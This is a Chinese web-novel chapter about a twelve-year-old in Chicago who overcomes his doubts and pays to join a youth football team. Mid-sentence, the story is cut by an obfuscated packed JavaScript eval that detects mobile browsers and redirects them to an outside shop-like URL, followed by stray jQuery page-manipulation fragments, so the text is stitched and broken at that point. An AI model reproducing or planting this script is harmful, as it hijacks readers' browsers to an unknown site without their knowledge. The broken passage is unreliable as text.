芝加哥的冬天，风像冰冷的刀子，却刮不散芬恩脑子里的那团乱麻。
踢球？这个念头像颗顽固的种子，在他心里扎了根，日夜疯长，搅得他心神不宁。可他掰着手指头一算，自己快十三岁了！他下意识地去图书馆查，去网上搜，那些闪光的足球名字后面，往往跟着“四岁接触足球”、“六岁加入青训”、“八岁被星探发掘”……一串串数字像冰冷的标尺，量出了他难以逾越的鸿沟。
太晚了。一切都太晚了。就像一场已经开演了十分钟的精彩电影，他才慌慌张张地找到入口。
更现实的是钱。七十五美元。那笔钱在他脑子里能换算成无数更“靠谱”的东西：和卡洛斯去吃好几次堆满芝士和香肠的披萨；那套他惦记了很久的二手《基地》小说；甚至是一个不那么破旧的书包……而足球呢？可能只是一身泥，几双磨坏的廉价球鞋，还有看不见尽头的、被嘲笑的训练。
“烦死了！”他低吼一声，把脸埋进图书馆冰凉的桌面。这种算不清利弊、看不到未来的感觉，比任何数学难题都让他抓狂。
放学后，他拖着脚步，没精打采地和卡洛斯一起走在寒风里。卡洛斯正津津有味地描述他妈妈今晚要做的辣炖肉，芬恩却只是“嗯”、“哦”地应付着。
“喂，你怎么了？”卡洛斯终于察觉不对，“魂被德里克吓飞了？”
芬恩摇摇头，沉默了好一会儿，才闷闷地说：“卡洛斯，你懂足球比较多……那些最后能踢出来的，到底都是几岁开始的？”
卡洛斯咬着玉米片，想了想：“你说职业球员？那可早了。听说很多都是刚会走路就在踢球玩，五六岁就进正经训练营了。”
芬恩的心直往下沉。果然，和他查到的一样。他踢开脚边的一个雪块，声音更低：“那……如果一个家伙，十三岁了，才第一次认真想踢球……是不是听起来特别蠢？像……像冬天都快过完了，才想起来种向日葵？”
卡洛斯停下脚步，扭过头看他，脸上的嬉笑慢慢收了起来。“哦……”他拉长了声音，“原来你是在烦这个。”他三两口把玉米片吃完，拍了拍手上的碎屑。
两人走到惯常去的那个避风的街角，靠在墙上。卡洛斯从包里掏出最后一个、用锡纸小心包好的辣肉卷饼，掰开，递了一大半给芬恩。
“给，先吃点东西。脑子饿的时候想不出好主意。”
芬恩接过，温暖的香气扑鼻而来。他咬了一口，辣味和扎实的肉馅暂时抚慰了空荡的胃和乱糟糟的心。
“听着，芬恩，”卡洛斯自己也咬了一大口，边嚼边说，语气是难得的认真，“我叔叔在瓜达拉哈拉长大，他跟我说过很多街头足球的事。你知道在那种地方，有多少孩子吗？他们可能十岁、十二岁，甚至更大，才第一次踢上一个缝制得像样的皮球！他们光着脚，或者穿着露脚趾的破鞋，在全是石子和碎玻璃的空地上踢。他们饿着肚子，梦想只是一顿饱饭和一双不会进沙子的鞋。”
他看向远处灰色的街道：“但是，每年，真的就是每年，都会有那么一两个，像被上帝随手用幸运硬币砸中一样，突然就被什么人看到了，带走了。然后，一切就都变了。”
芬恩安静地听着，卷饼的热气熏着他的眼睛。
“年龄？是很重要。”卡洛斯转回头看他，“但我觉得，那更像是一条大家习惯走的大路。早早上路的人当然多，也容易走到。可这不代表，就没有别的岔路，或者……就没有那种天生就该跑在别人前面的人，哪怕他上路晚了一点。”
他用力拍了拍芬恩的肩膀：“竞技体育这玩意儿，有时候邪门得很。它看的不是你训练了多少年，而是你身体里到底藏着什么别人没有的玩意儿。是速度？是力量？还是……”他指了指芬恩的脑袋，“像你这样，不知道整天在琢磨些什么的、古怪的聪明？只要那玩意儿够亮，够特别，哪怕你十五岁才开始，也可能会有疯子教练愿意在你身上赌一把。像德里克那种，只靠一身横肉在大学橄榄球队里混混还行，但那种人，到处都是，一点也不稀奇。”
芬恩嘴里的卷饼好像有了不一样的味道。卡洛斯的话，没有给他任何承诺，却像在浓雾里，给他指了一条若隐若现的小径。不是阳光大道，但至少，那不是死胡同。
“所以，”卡洛斯把最后一点饼塞进嘴里，总结道，“别像个老头子一样，还没开始就把自己吓死了。你去踢，去试试看。就算最后没成，你至少知道了自己不是那块料，总比在这里胡思乱想、自己折磨自己强。万一……万一你那个总是算来算去的脑子，在球场上偏偏就有用呢？那你可就赚大了。”
朋友的鼓励，带着食物温度的真实感，一点点渗进芬恩冰冷的不安里。可能性，哪怕只有万分之一的可能性，也足以对抗“绝对不行”的绝望。
也许……真的可以试试？
这个念头一旦变得清晰，德里克那张凶狠的脸就立刻跳了出来。想要安心去踢球，必须做出选择。
机会来得比想象中快。
学校体育场后面，助理教练的吼声隔着铁网都刺耳：“……脑子呢？！ 这么简单的码数转换都能错！下次战术测试再不及格，你就给我坐穿板凳！”
芬恩赶紧缩到树后，看着平时凶神恶煞的布洛克，此刻像条落水狗，低着头挨骂，拳头攥得指节发白，那张总是蛮横的脸上，第一次露出一种近乎恐慌的急躁——那是一种重要的东西要抓不住了的表情。教练摔下本子走了，布洛克狠狠踹飞一个水瓶，抬头正好撞见芬恩没躲好的视线。
那眼神凶得能杀人，明显是“敢说出去你就死定了”。
芬恩心砰砰跳，赶紧溜了。但回家的路上，布洛克那张又羞又怒、走投无路的脸，却在他脑子里挥之不去。
他怕了。芬恩意识到。不是怕我，是怕真的上不了场。他需要那些数学题过关，迫切地需要。
而这个……我好像能做到。一个念头，像解数学题时突然找到的关键辅助线，冷不丁地跳了出来。清晰，又有点吓人。
紧接着，另一个更清晰的念头追了上来：如果……我用这个，去换他别来烦我呢？
这想法让他脚步一顿，手心有点冒汗。不是帮忙，是交换。听起来冰冷，一点也不像“好孩子”该干的。但芬恩心里那台天平开始自己晃动起来：一边是布洛克可能的禁赛危机，一边是自己那几个下午的安宁。两边都想要点什么，而自己手里，好像刚好有对方急需的“东西”。
这感觉很奇怪，不像交朋友，倒像……做一道两边都有未知数的方程，而自己偶然发现，似乎能找到一个让两边都暂时成立的解。
就在第二天数学课后，芬恩在走廊上叫住了正要离开的德里克。
“德里克。”
德里克转过身，一脸不善：“干什么，书呆子？想找揍？”
芬恩尽量让自己的声音听起来镇定，他直接看着德里克的眼睛说：“我能帮你搞定那些战术计算，让你通过测试。”
德里克愣了一下，随即嗤笑：“你？就凭你？”
芬恩没废话，从书包里抽出自己几乎全对的作业本，翻开，指着上面清晰的步骤：“就像这样。我给你写你能看懂的步骤，不是光给答案。保证你能应付过去，不用坐冷板凳。”
德里克盯着那作业本，脸上的不屑慢慢变成了怀疑，然后是权衡。他沉默了几秒，粗声问：“条件？”
“周二和周四下午，我要去城南的格林社区中心，很远。”芬恩说出了想好的话，“那段时间，我不想有任何‘意外’。”
德里克上下打量了他几眼，像是在评估这笔交易划不划算。一个讨厌但似乎真有点用的书呆子的帮助，换来自己清净几个下午，还能保住球场上的位置……
“步骤要清楚。”他终于从鼻子里哼了一声，算是答应，“别耍花样。还有，要是我的成绩没上去……”
“随便你。”芬恩接话，心却放下了一半。一个脆弱的、心照不宣的“停火协议”，算是勉强达成了。
而真正的决心，是在他走向公交车站，车门在他面前打开的瞬间，才最终落下的。
下课铃一响，芬恩没有像往常一样磨蹭。他抓起书包，脚步有些发沉，却又异常坚定地走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179346|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向通往城北的公交车站。河畔公园太远了，步行不现实，他需要坐17路公交。
站台上冷风呼啸。他看着站牌上模糊的线路图，第一辆17路车慢悠悠地进站，停下，车门嘶哑地打开。
他没有动。
仿佛一个无声的仪式，他给了自己一次“重新选择”的机会。现在转身，回到熟悉的街区，用那笔钱换一个扎实的、触手可及的周末，还来得及。
就在这时，那股熟悉的、甜腻到几乎有触感的暖香，顺着风，从隔着一条街的“邓肯甜甜圈”店里飘了过来。他甚至能想象出玻璃柜里，“终极狂欢”那淋满巧克力酱的罪恶光泽，和“熔岩巧克力心”切开后滚烫的馅料。他的味蕾记忆被瞬间唤醒，舌尖仿佛已经尝到了那爆炸性的甜。胃里传来一声诚实的、渴望的轻鸣。
那不只是甜甜圈，那是无数次他克制自己后，所有被压抑的、对“轻松”和“即刻满足”的渴望的集合体。它近在咫尺，温暖，安全，毫无风险。
他盯着那扇敞开的公交车门，脚下像生了根。冷风灌进衣领，他却感到一阵燥热。上去，就是一条无法回头、需要支付昂贵赌注的荆棘路。不上，转身就能拥抱那片温暖的、确定的甜蜜。
时间好像变慢了。公交车司机疑惑地看了他一眼，手指搭在关门按钮上。
就在这心跳漏拍的一刹那，卡洛斯那句话，像一道穿过浓云的锐利阳光，猛地刺进他混乱的脑海：
“万一你那个总是算来算去的脑子，在球场上偏偏就有用呢？”
万一。
这个轻飘飘的词，此刻却重如千钧。
去他的。
就赌这个“万一”！
这个近乎蛮横的念头，像一颗火星溅入冰层，瞬间炸开。所有的犹豫、权衡、对甜蜜的留恋，都被一股更原始、更不顾一切的力量冲垮了。
就在车门即将发出闭合的嘶嘶声时，他动了。
不是转身，而是向前——一步踏上了公交车冰冷的台阶。
“咣当。”
车门在他身后重重关上，将“邓肯甜甜圈”的暖黄灯光和所有关于甜蜜退路的幻想，彻底隔绝在外。
硬币投入收费箱的清脆声响，像是为他的决定盖下了最后一个印章。
社区中心那栋灰扑扑的建筑出现在视野里时，芬恩的心跳已经平复。刚才车上那一刻的惊心动魄，此刻沉淀为一种近乎麻木的平静。决定已经做出，箭已离弦。
推开那扇吱呀作响的旧门，熟悉的老油漆和灰尘味道涌来。缴费窗口前依旧冷清。他走过去，甚至没有需要组织语言。
“足球训练。春季班。北风队。”他的声音平直，没有波澜。
窗口后的女士抬眼看了看他，拿出登记簿，报出那个他已经知道、却依旧让心头一紧的数字。
这一次，他没有再在脑海里进行任何换算。没有甜甜圈，没有披萨，没有小说。他直接把手伸进内袋，掏出那叠被体温焐得有些发软的钞票，开始数。
一张，两张……动作稳定，甚至有些机械。但每递出去一张，指尖都传来一阵细微的、真实的抽痛。那不是后悔，而是某种更深刻的东西——一种对自己拥有的、为数不多的珍贵资源的告别。每一张纸币的离去，都像是在他原本就单薄的退路上，又拆掉了一块木板。
当最后一张钱离开指尖，他感到心里某个地方空了一下，随即又被一种奇异的充实感填满——那是“没有退路”带来的、沉重的踏实。
女士撕下收据。他接过，对折，放入那个已经空了的内袋。
指尖残留着纸币特有的、微微粗糙的触感，但更清晰的，是收据纸张的挺括边缘。它像一枚冰冷的勋章，烙在他的胸膛上。
赌注，已经毫无保留地押上了桌。不是在交钱的时候，而是在他踏上那辆公交车，将整个后背留给“邓肯甜甜圈”的温暖橱窗时，就已经义无反顾地，掷了下去。
他的足球，就从这枚用所有“甜甜圈可能”铸成的、冰冷的勋章开始。前方没有甜蜜，只有需要他一步步去挣来的、真实的泥泞与汗水。